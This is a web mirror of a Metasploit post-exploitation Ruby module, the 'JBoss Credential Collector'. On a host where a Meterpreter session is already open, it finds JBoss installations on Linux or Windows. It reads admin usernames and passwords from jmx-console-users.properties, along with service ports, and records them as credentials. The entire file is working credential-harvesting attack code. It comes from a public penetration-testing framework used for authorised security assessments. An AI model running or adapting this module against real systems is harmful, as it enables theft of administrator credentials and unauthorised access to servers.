Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/jboss_gather.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'nokogiri'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Linux::System
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'JBoss Credential Collector',
17
'Description' => %q{
18
This module can be used to extract the JBoss admin passwords for version 4, 5 and 6.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'Koen Riepe ([email protected])' ],
22
'Platform' => [ 'linux', 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
def report_creds(user, pass, port)
34
return if user.empty? || pass.empty?
35
36
# Assemble data about the credential objects we will be creating
37
credential_data = {
38
origin_type: :session,
39
post_reference_name: fullname,
40
private_data: pass,
41
private_type: :password,
42
session_id: session_db_id,
43
username: user,
44
workspace_id: myworkspace_id
45
}
46
47
credential_core = create_credential(credential_data)
48
49
if !port.is_a?(Integer)
50
print_error('Failed to detect port, defaulting to 8080 for creds database')
51
port = 8080
52
end
53
54
login_data = {
55
core: credential_core,
56
status: Metasploit::Model::Login::Status::UNTRIED,
57
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
58
port: port,
59
service_name: 'jboss',
60
protocol: 'tcp',
61
workspace_id: myworkspace_id
62
}
63
create_credential_login(login_data)
64
end
65
66
def getpw(file, ports)
67
i = 0
68
file.each do |pwfile|
69
begin
70
print_status("Getting passwords from: #{pwfile}")
71
lines = read_file(pwfile).split("\n")
72
rescue StandardError
73
print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")
74
next
75
end
76
for line in lines
77
next if line.include? '#'
78
79
creds = line.split('=')
80
print_good("Credentials found - Username: #{creds[0]} Password: #{creds[1]}")
81
report_creds(creds[0], creds[1], ports[i])
82
end
83
i += 1
84
end
85
end
86
87
def getversion(array)
88
i = 0
89
version = 'NONE'
90
results = []
91
while i < array.count
92
downcase = array[i].downcase
93
if downcase.include? 'jboss'
94
begin
95
file = read_file(array[i])
96
rescue StandardError
97
print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")
98
next
99
end
100
xml_doc = Nokogiri::XML(file)
101
xml_doc.xpath('//jar-versions//jar').each do |node|
102
if node['name'] == 'jbossweb.jar'
103
version = node['specVersion'][0]
104
results.push(version)
105
end
106
end
107
end
108
if version != 'NONE'
109
print_status("Found a JBoss installation version: #{version}")
110
home = readhome(cmd_exec('printenv').split("\n"))
111
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)
112
listenports = getports(version)
113
getpw(pwfiles, listenports)
114
end
115
i += 1
116
end
117
end
118
119
def wingetversion(array, home)
120
i = 0
121
version = 'NONE'
122
results = []
123
while i < array.count
124
downcase = array[i].downcase
125
if downcase.include? 'jboss'
126
file = read_file(array[i])
127
xml_doc = Nokogiri::XML(file)
128
xml_doc.xpath('//jar-versions//jar').each do |node|
129
if node['name'] == 'jbossweb.jar'
130
version = node['specVersion'][0]
131
results.push(version)
132
end
133
end
134
end
135
if version != 'NONE'
136
print_status("Found a JBoss installation version: #{version}")
137
instances = wingetinstances(home, version)
138
pwfiles = winpwfiles(instances)
139
listenports = wingetport(instances)
140
getpw(pwfiles, listenports)
141
end
142
i += 1
143
end
144
end
145
146
def readhome(array)
147
home = ''
148
array.each do |item|
149
if item.include? 'JBOSS_HOME'
150
home = item.split('JBOSS_HOME=')[1]
151
end
152
end
153
return home
154
end
155
156
def getpwfiles(array, home, version)
157
pwfiles = []
158
array.each do |location|
159
if location.include?(home && version)
160
pwfiles.push(location)
161
end
162
end
163
return pwfiles
164
end
165
166
def getports(version)
167
type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")
168
type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")
169
port = []
170
type1.each do |file1|
171
next unless file1 && file1.include?(version)
172
173
print_status("Attempting to extract JBoss service ports from: #{file1}")
174
begin
175
file1_read = read_file(file1).split("\n")
176
rescue StandardError
177
print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")
178
next
179
end
180
parse = false
181
portfound = false
182
file1_read.each do |line|
183
if line.strip.include? 'deploy/httpha-invoker.sar'
184
parse = true
185
elsif (line.strip == '</bean>') && portfound
186
parse = false
187
elsif parse && line.include?('<property name="port">')
188
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
189
port.push(portnr)
190
portfound = true
191
print_good("JBoss port found: #{portnr}")
192
end
193
end
194
end
195
196
type2.each do |file2|
197
next unless file2 && file2.include?(version)
198
199
print_status("Attempting to extract JBoss service ports from: #{file2}")
200
begin
201
xml2 = Nokogiri::XML(read_file(file2))
202
rescue StandardError
203
print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")
204
next
205
end
206
xml2.xpath('//Server//Connector').each do |connector|
207
next unless connector['protocol'].include? 'HTTP'
208
209
portnr = connector['port'].to_i
210
port.push(portnr)
211
print_good("JBoss port found: #{portnr}")
212
break
213
end
214
end
215
return port
216
end
217
218
def gathernix
219
print_status('Unix OS detected, attempting to locate JBoss services')
220
getversion(cmd_exec('locate jar-versions.xml').split("\n"))
221
end
222
223
def winhome
224
home = []
225
exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
226
exec.each do |line|
227
next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')
228
229
print_status('JBoss service found')
230
parse = line.split('-classpath "')[1].split('\\bin\\')[0]
231
if parse[0] == ';'
232
home.push(parse.split(';')[1])
233
else
234
home.push(parse)
235
end
236
end
237
return home
238
end
239
240
def wingetinstances(home, version)
241
instances = []
242
instance_location = "#{home}\\server"
243
exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")
244
exec.each do |instance|
245
next unless instance.split('<DIR>')[1] && ((!instance.split('<DIR>')[1].strip.include? '.') && (!instance.split('<DIR>')[1].strip.include? '..'))
246
247
instance_path = "#{home}\\server\\#{instance.split('<DIR>')[1].strip}"
248
if instance_path.include? version
249
instances.push(instance_path)
250
end
251
end
252
return instances
253
end
254
255
def winpwfiles(instances)
256
files = []
257
instances.each do |seed|
258
file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"
259
if exist?(file_path)
260
files.push(file_path)
261
end
262
end
263
return files
264
end
265
266
def wingetport(instances)
267
port = []
268
instances.each do |seed|
269
path1 = "#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
270
path2 = "#{seed}\\deploy\\jboss-web.deployer\\server.xml"
271
272
if exist?(path1)
273
file1 = read_file("#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
274
end
275
276
if exist?(path2)
277
file2 = read_file("#{seed}\\deploy\\jboss-web.deployer\\server.xml")
278
end
279
280
if file1
281
print_status("Attempting to extract JBoss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
282
parse = false
283
portfound = false
284
file1.each do |line|
285
if line.strip.include? 'deploy/httpha-invoker.sar'
286
parse = true
287
elsif (line.strip == '</bean>') && portfound
288
parse = false
289
elsif parse && line.include?('<property name="port">')
290
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
291
port.push(portnr)
292
portfound = true
293
print_good("JBoss port found: #{portnr}")
294
end
295
end
296
end
297
298
next unless file2
299
300
print_status("Attempting to extract JBoss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
301
xml2 = Nokogiri::XML(file2)
302
xml2.xpath('//Server//Connector').each do |connector|
303
next unless connector['protocol'].include? 'HTTP'
304
305
portnr = connector['port'].to_i
306
port.push(portnr)
307
print_good("JBoss port found: #{portnr}")
308
break
309
end
310
end
311
return port
312
end
313
314
def gatherwin
315
print_status('Windows OS detected, enumerating services')
316
home_array = winhome
317
318
if home_array.empty?
319
print_status('No JBoss service has been found')
320
return
321
end
322
323
home_array.each do |home|
324
version_file = []
325
version_file.push("#{home}\\jar-versions.xml")
326
wingetversion(version_file, home)
327
end
328
end
329
330
def run
331
if sysinfo['OS'].include?('Windows')
332
gatherwin
333
else
334
gathernix
335
end
336
rescue StandardError
337
print_error('sysinfo function not available, you are probably using a wrong meterpreter.')
338
end
339
end
340
341